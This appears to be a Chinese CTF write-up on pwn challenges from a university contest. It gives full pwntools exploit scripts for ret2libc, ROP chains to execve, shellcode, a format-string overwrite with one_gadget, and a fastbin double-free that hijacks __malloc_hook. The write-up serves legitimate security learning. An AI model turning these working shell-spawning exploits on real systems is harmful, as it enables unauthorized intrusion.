0x00 前言

杭师大的新生赛,pwn只做了5/10题,我觉得挺难的题目都被师傅们打成最低分了😭,堆题还是没能做出来,希望可以早日破零
但是这次也学到不少东西了,例如容错比较高的泄露libc的方法、free掉伪造的chunk时需要注意的细节之类的,再加油吧
还有还有,这是我加入kap0k之后第一次获奖的团队赛捏,还是很开心的
看看排名啦,最后拿到了小小三等奖。省赛和ISCC要加油

0x01 题解部分

1.签到

check一下ida启动:
有个gets可以溢出,程序中没有binsh和system,所以要打ret2libc

from pwn import *
from ctypes import *
from struct import pack

context.arch='amd64'
context.os = 'linux'
context.log_level = 'debug'
file='/mnt/c/Users/Z2023/Desktop/pwn'
elf=ELF(file)

libc=ELF('/mnt/c/Users/Z2023/Desktop/libc.so.6')

choice = 0x001 #打远程时改成1
if choice:
port= 30546
tg='node1.tgctf.woooo.tech'
p = remote(tg,port) #打远程时修改ip和端口
else:
p = process(file)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,cmd)
pause()

puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
rdi=0x0000000000401176
main=0x0000000000401178
ret=0x000000000040101a

payload=b'a'*(0x70+8)+flat(rdi,puts_got,puts_plt,main)
sla('Welcome to the Hangzhou Normal University CTF competition, please leave your name.\n',payload)
puts_addr=uru64()
leak('puts_addr')

libc_base=puts_addr-libc.sym['puts']
leak('libc_base')

sys,binsh=get_sb()
payload1=b'a'*(0x70+8)+flat(ret,rdi,binsh,sys,main)
sla('Welcome to the Hangzhou Normal University CTF competition, please leave your name.\n',payload1)
itr()

2.Overflow

一个静态编译的程序
第一次输入应该是往name里面写shellcode
第二次输入就是溢出,然后劫持程序流,回到name,真这么简单吗
动调才看到main函数在最后藏东西了,不能单靠溢出来劫持返回地址
实际上是取决于esp最后的位置,所以得填些垃圾数据。注意esp会先到ebp-8上,所以先给ebp-8填入name的地址,后续再注意一下payload的构造即可,目的是为了让 rsp 指向我们在 name 上构造的 ropchain。

from pwn import *
from ctypes import *
from struct import pack

context.arch='amd64'
context.os = 'linux'
context.log_level = 'debug'
file='/mnt/c/Users/Z2023/Desktop/overflow'
elf=ELF(file)

choice = 0x001#打远程时改成1
if choice:
port=31271
tg='node2.tgctf.woooo.tech'
p = remote(tg,port) #打远程时修改ip和端口
else:
p = process(file)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,cmd)
pause()

debug()
payload = pack('<I', 0x08060bd1) # pop edx ; ret
payload += pack('<I', 0x080ee060) # @ .data
payload += pack('<I', 0x080b470a) # pop eax ; ret
payload += b'/bin'
payload += pack('<I', 0x080597c2) # mov dword ptr [edx], eax ; ret
payload += pack('<I', 0x08060bd1) # pop edx ; ret
payload += pack('<I', 0x080ee064) # @ .data + 4
payload += pack('<I', 0x080b470a) # pop eax ; ret
payload += b'//sh'
payload += pack('<I', 0x080597c2) # mov dword ptr [edx], eax ; ret
payload += pack('<I', 0x08060bd1) # pop edx ; ret
payload += pack('<I', 0x080ee068) # @ .data + 8
payload += pack('<I', 0x080507e0) # xor eax, eax ; ret
payload += pack('<I', 0x080597c2) # mov dword ptr [edx], eax ; ret
payload += pack('<I', 0x08049022) # pop ebx ; ret
payload += pack('<I', 0x080ee060) # @ .data
payload += pack('<I', 0x08049802) # pop ecx ; ret
payload += pack('<I', 0x080ee068) # @ .data + 8
payload += pack('<I', 0x08060bd1) # pop edx ; ret
payload += pack('<I', 0x080ee068) # @ .data + 8
payload += pack('<I', 0x080507e0) # xor eax, eax ; ret
payload += pack('<I', 0x08082bbe) # inc eax ; ret
payload += pack('<I', 0x08082bbe) # inc eax ; ret
payload += pack('<I', 0x08082bbe) # inc eax ; ret
payload += pack('<I', 0x08082bbe) # inc eax ; ret
payload += pack('<I', 0x08082bbe) # inc eax ; ret
payload += pack('<I', 0x08082bbe) # inc eax ; ret
payload += pack('<I', 0x08082bbe) # inc eax ; ret
payload += pack('<I', 0x08082bbe) # inc eax ; ret
payload += pack('<I', 0x08082bbe) # inc eax ; ret
payload += pack('<I', 0x08082bbe) # inc eax ; ret
payload += pack('<I', 0x08082bbe) # inc eax ; ret
payload += pack('<I', 0x08049c6a) # int 0x80

sa('could you tell me your name?\n',payload)
name=0x080EF320

payload=b'a'*(200)+p32(name+4)+p32(0)*2
sla('i heard you love gets,right?\n',payload)

itr()

name(bss 段)上没有执行权限,所以选择了 ropchain。其实也可以把栈给迁移到 name 上去,找个 leave ret 就可以了

3.shellcode

先checksec
保护开满,上ida看看:
好熟悉。。。2025VNCTF的pwn签到跟这题一模一样,跟进一下13行的函数:
一模一样,也是清空寄存器,所以按照VNCTF那题的思路来打就好了,ret2syscall

from pwn import *
from ctypes import *
from struct import pack

context.arch='amd64'
context.os = 'linux'
context.log_level = 'debug'
file='/mnt/c/Users/Z2023/Desktop/pwn'
elf=ELF(file)

choice = 0x01 #打远程时改成1
if choice:
port= 30693
tg='node2.tgctf.woooo.tech'
p = remote(tg,port) #打远程时修改ip和端口
else:
p = process(file)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

shellcode=asm(
'''
mov al,59
add rdi,8
syscall
'''
)+b'/bin/sh\x00'

sa('try to show your strength \n',shellcode)
itr()

4.stack

check一下:
上ida,发现main没法看伪c代码:
直接看汇编,逻辑大概是这样
跟进一下最后跳转的这个函数:
读取0x50字节到buf,可以溢出0x10个字节。最后貌似是一个判断,判断rbp+8的值有没有改变,改变了就跳转到另外一个函数,继续跟进:
这里利用了syscall 来实现的 write。但是参数放在了bss段上,想起main函数一开始那个read貌似读入的数据长度是挺长的,可以覆盖掉这几个变量,可以利用这点来构造 execve(0x3b, '/bin/sh\x00' , 0, 0)。顺便查看一下bss,计算下要填充多少垃圾数据,需要0x40个字节:
还有binsh,那就好办了

from pwn import *
from ctypes import *
from struct import pack

context.arch='amd64'
context.os = 'linux'
context.log_level = 'debug'
file='/mnt/c/Users/Z2023/Desktop/stack1'
elf=ELF(file)

choice = 0x001#打远程时改成1
if choice:
port=31487
tg='node1.tgctf.woooo.tech'
p = remote(tg,port) #打远程时修改ip和端口
else:
p = process(file)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

# padding,rax,rdi,padding,rsi,rdx
payload=b'a'*(0x40)+p64(0x3b)+p64(0x404108)+p64(0xdeadbeef)+p64(0)+p64(0)

sa('welcome! could you tell me your name?\n',payload)
sa('what dou you want to say?\n',b'a'*(0x50))

itr()

5.fmt

check:
保护开得很满,没得写got了,上ida看看:
第一是给了栈地址,第二看起来是只有一次fmstr的机会。以前国赛有一题是劫持fini,但是这个程序的fini没有写权限,没法劫持。既然给了栈地址的话,我们可以通过这个栈地址来修改函数的返回地址。首先来总结一下我们要做的事情:

  1. 有栈地址,可以通过这个地址修改printf函数的返回地址,因为是返回到main函数,只需要写入3字节。使用$n可以一次性写入4字节,这样我们就可以有空间可以泄露libc。
  2. 因为这题给了libc,所以可以考虑打one gadget,前面也泄露libc了,而且也把printf函数的返回地址给修改掉,让printf执行完之后再回到read函数或之前都可以。通过一次或多次printf把main函数的返回地址给修改成one gadget。

泄露libc的方式与以往有些区别,以前都是泄露函数got表,但是我发现这样做的话远程没有回显:于是改变思路,尝试泄露 libc_start_main,在栈上这个位置:
%19$p 就可以读到了,然后接收,计算libc基地址
动调发现main函数的返回地址只需要写3字节,这样就简单了

from pwn import *
from ctypes import *
from struct import pack

context.arch='amd64'
context.os = 'linux'
# context.log_level = 'debug'
file='/mnt/c/Users/Z2023/Desktop/fmt/pwn'
elf=ELF(file)
libc=ELF('/mnt/c/Users/Z2023/Desktop/fmt/libc.so.6')


choice = 0x01 #打远程时改成1
if choice:
port=30511
tg='node1.tgctf.woooo.tech'
p = remote(tg,port) #打远程时修改ip和端口
else:
p = process(file)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,cmd)
pause()

puts_got = elf.got["puts"]

ru('your gift ')
stack=int(r(14),16)
leak('stack')

ret = stack+0x68
printf_ret=stack-0x8
read_printf=0x0000000000401231

one_gadget=[0xe3afe,0xe3b01,0xe3b04]

# payload1 = b'aaaaaaaa %p %p %p %p %p %p %p %p %p %p '
payload1 = b'%19$paaa'
payload1 += b'%' + str(read_printf-8-9).encode() + b'c%9$n'
payload1 = payload1.ljust(0x18,b'a')
payload1 += p64(printf_ret)

debug()
sa('please tell me your name\n',payload1)

libc_start_addr=int(r(14),16)
leak('libc_start_addr')
libc_base=libc_start_addr-0x24083
leak('libc_base')

ogg=libc_os(one_gadget[1])

low = ogg & 0xff
high = (ogg >> 8) & 0xffff

payload2 = b'%' + str(low).encode() + b'c%9$hhn'
payload2 += b'%' + str(high-low).encode() + b'c%10$hn'
payload2 = payload2.ljust(0x18,b'a')
payload2 += p64(ret)+p64(ret+1)

sa('please tell me your name\n',payload2)

itr()

0x03 复现!

6.heap (赛后复现)

Checksec 一下
上 ida
功能有点少,先仔细看看有什么可以用的
有 uaf
有打印,但是不是直接打印堆,而是在 bss 段上的数据,而且可以重复输入数据。
那么我们可以

  1. 通过 uaf 在 bss 上造一个 fake chunk
  2. 通过重复输入数据改写 chunk 的 size
  3. Free 掉之后得到 unsorted bin
  4. 利用输出功能泄露 libc
  5. 利用 uaf 劫持 __malloc_hookone gadget

中间有些细节值得注意,先把 exp 放上来:

from pwn import *
from ctypes import *
from struct import pack

context.arch='amd64'
context.os = 'linux'
context.log_level = 'debug'
file='/mnt/c/Users/Z2023/Desktop/heap/pwn'
elf=ELF(file)
# libc=ELF('/home/link/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so')
libc=ELF('/mnt/c/Users/Z2023/Desktop/heap/libc.so.6')


choice = 0x001 #打远程时改成1
if choice:
port=30511
polar='1.95.36.136'
nss='node5.anna.nssctf.cn'
buu='node5.buuoj.cn'
tg='node1.tgctf.woooo.tech'
p = remote('10.195.85.198',62728)
# p = remote(tg,port) #打远程时修改ip和端口
else:
p = process(file)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,cmd)

def malloc(size,content):
sla('> ',b'1')
sla('size?',str(size))
sla('else?',content)

def free(index):
sla('> ',b'2')
sla('> ',str(index))

def change_name(content):
sla('> ',b'3')
sa('> ',content)


name_addr=0x00000000006020C0
payload = p64(0) + p64(0x7F)
sla('> ',payload)

malloc(0x68,b'a')# 0
malloc(0x68,b'a')# 1
malloc(0x10,b'a')# 2

free(0)
free(1)
free(0)

# debug()
malloc(0x68,p64(name_addr)) # 3

malloc(0x68,b'a') # 4
malloc(0x68,b'a') # 5
malloc(0x68,b'a') # 6

payload = p64(0) + p64(0x91)
payload = payload.ljust(0x98, b"a")
payload += p64(0x31) + p64(0) * 5 + p64(0x21)#
change_name(payload)

free(6)

change_name(b'a'*0x8+b'\x91'+b'a'*7)
libc_base=uru64()-0x3c4b78
leak('libc_base')

free(4)
free(5)
free(4)

malloc(0x68,p64(libc_os(libc.sym['__malloc_hook'])-0x23))
malloc(0x68,b'a')
malloc(0x68,b'a')

one=[0x4527a,0xf03a4,0xf1247]
payload=b'a'*0x13+p64(libc_os(one[2]))
malloc(0x68,payload)
debug()
# malloc(0x10,b'a')
sla('> ',b'1')
sla('size?',str(0x10))

itr()

首先值得注意的是:

name_addr=0x00000000006020C0
payload = p64(0) + p64(0x7F)
sla('> ',payload)

在开头往 name 输入的时候先是伪造了一个合适的 size 来绕过检测,这个没什么好说的。
下一个是通过 uaf 申请到了 name 上的堆块,通过重复写入数据来伪造 unsorted bin 这一段:

payload = p64(0) + p64(0x91)
payload = payload.ljust(0x98, b"a")
payload += p64(0x31) + p64(0) * 5 + p64(0x21)#
change_name(payload)

起初我以为只要改掉 size,然后 free 掉就能得到 unsorted bin,但是事情并没有我想象中的顺利,如果只是这样的话:

payload = p64(0) + p64(0x91)

程序会发生报错:

Error in `/mnt/c/Users/Z2023/Desktop/heap/pwn': double free or corruption (!prev): 0x00000000006020d0

询问了各个大佬之后得知了原因。
伪造堆块在释放时要考虑前后合并,因为我们在写入大小的时候是写的 0x91pre_inuse 位写入的是 1,代表前一个“chunk“正在使用中,不需要向前合并。
接下来则是判断是否需要向后合并,后一个 chunk 的 pre_inuse 位为 1,代表我们伪造的 chunk 正在使用,在 free 的时候确保不会有问题。
再后面我们仍需要一个 chunk 来表示我们伪造的 chunk 的下一个 chunk 正在使用,这样就能确保在 free 掉我们伪造的 chunk 时不会向前向后合并触发 unlink,简单画个图示意一下:
可恶啊,复现完之后觉得并不是什么难题,要是当时能把这题做出来,排名就会更前一点了